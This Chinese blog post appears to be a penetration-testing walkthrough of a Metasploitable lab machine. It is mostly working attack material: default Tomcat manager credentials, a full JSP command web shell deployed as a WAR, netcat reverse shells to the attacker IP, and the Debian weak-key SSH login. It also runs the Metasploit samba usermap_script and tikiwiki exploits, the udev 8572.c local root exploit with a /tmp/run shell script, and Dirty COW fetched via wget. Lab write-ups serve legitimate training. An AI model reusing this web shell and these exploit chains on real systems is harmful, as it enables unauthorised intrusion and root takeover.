博主介绍
博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!
//提权的种类:
1 横向提权:低权限角色能够获得高权限
2.纵向提权:获得同级别角色的权限
发现开发了很多端口和服务都可以利用
首先查看第一个网站就是80端口
查看下8180端口下面的tomcat
利用tomcat文件上传漏洞,点击tomcat manager
账号:tomcat
密码:tomcat
存在一个文件上传的上传点
jsp的可回显马,将他打包成war上传
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
//jar -cvf 被打包的war包名字 jsp的可回显马
jar -cvf tomcats.war tomcat.jsp
然后我们访问下:
url:8180/war包名称/jsp木马完整名称
http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=id
发现回显出来的权限不高
┌──(rootkali)-[~/桌面]
└─# nc -lvvp 4444
listening on [any] 4444 ...
http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=nc -e /bin/bash 192.168.103.129 4444
url编码:
http://192.168.103.187:8180/tomcats/tomcat.jsp?pwd=123&cmd=nc%20-e%20%2Fbin%2Fbash%20192.168.103.129%204444
python -c 'import pty; pty.spawn ("/bin/bash")' #交互式shell
查看内核版本 uname -a
最后在/root/.ssh目录中发现了一个公钥文件
这个在低版本中也是可以利用
因为这里版本较低,然后是猜测存在openssl软件包伪随机数泄露,这里将那个包下载过来
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
(debian_ssh_rsa_2048_x86.tar.bz2)
.tar.bz2
解压:tar jxvf FileName.tar.bz2
压缩:tar jcvf FileName.tar.bz2 DirName
tar jxvf 5622.tar.bz2
然后来到/rsa/2048目录下面
grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub
//使用命令查找
57c3115d77c56390332dc5c49978627a-5429
然后我们直接通过私钥就可以登录了,然后我们直接就登录进root了
┌──(rootkali)-[~/routing/rsa/2048]
└─# ssh [email protected] -i 57c3115d77c56390332dc5c49978627a-5429
可疑看到开放了samba服务,版本是:samba 3.x
可疑上网搜一下这个samba 3.x版本msf要用到的payload
msf所要用到的命令:
search samba 3.x
use exploit/multi/samba/usermap_script
show payloads
set payload cmd/unix/reverse
show options
set RHOSTS 靶机IP
run
直接进入shell,是root权限
dirsearch -u "http://192.168.103.187/"
扫描到phpinfo信息和/tikiwiki
tikiwiki 1.9.5存在rce漏洞
search tikiwiki
use 2
run,进入shell界面
查看版本信息
searchsploit linux 2.6
copy到特定目录
cp /usr/share/exploitdb/exploits/linux/local/8572.c /root/routing
python开启http服务
python3 -m http.server 80
靶机使用wget下载到/tmp目录(tmp目录 下有可执行权限)
wget http://192.168.103.129/8572.c
反弹shell的payload要保存在/tmp/run中
然后给他执行的权限,chmod +x 8478.sh
然后查看里面知道要netlink这个文件,然后搞里面不是零的pid。
我们要找到 Netlink 套接字的 PID,这个 PID 通常比 UDEVD 的 PID 小1。
我们使用 cat /proc/net/netlink 命令来查看 PID,唯一的非0的 PID 就是我们想要的数字。
我们可以验证这个 PID 是否正确,
使用 ps aux | grep udev 来查看 UDEVD 的 PID
编译脚本
gcc 8572.c -o routing
# 生成反弹shell脚本,必须得是在/tmp/run目录
echo '#!/bin/sh' > /tmp/run #写入并生成一个run目录
echo '/bin/netcat 192.168.103.129 9999 -e /bin/sh' >> /tmp/run
# 查询udev运行PID
ps aux | grep udev
#kali开启监听
┌──(rootkali)-[~/桌面]
└─# nc -lvvp 9999
# 运行提权脚本,后面加上udev的PID
./routing 2998 #这个 PID 通常比 udevd 的 PID 小1
python -c 'import pty; pty.spawn("/bin/bash")' #交互式shell
//自己可以在靶机中试试,可以的话,就直接到编译哪一步
wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
python -c 'import pty; pty.spawn("/bin/bash")' #交互式shell
//使用Python开启临时网站
python3 -m http.server 80
//靶机下载本机的dirty.c过来
//注意要看自己的ip
wget http://192.168.103.129:80/dirty.c
//编译
gcc -pthread dirty.c -lcrypt -o dirty
//给权限
chmod +x dirty
//执行
./dirty
注意执行以后他就会叫我们输入密码,这里看自己,出现下面那个用户就可以了
这里我的就是firefart:root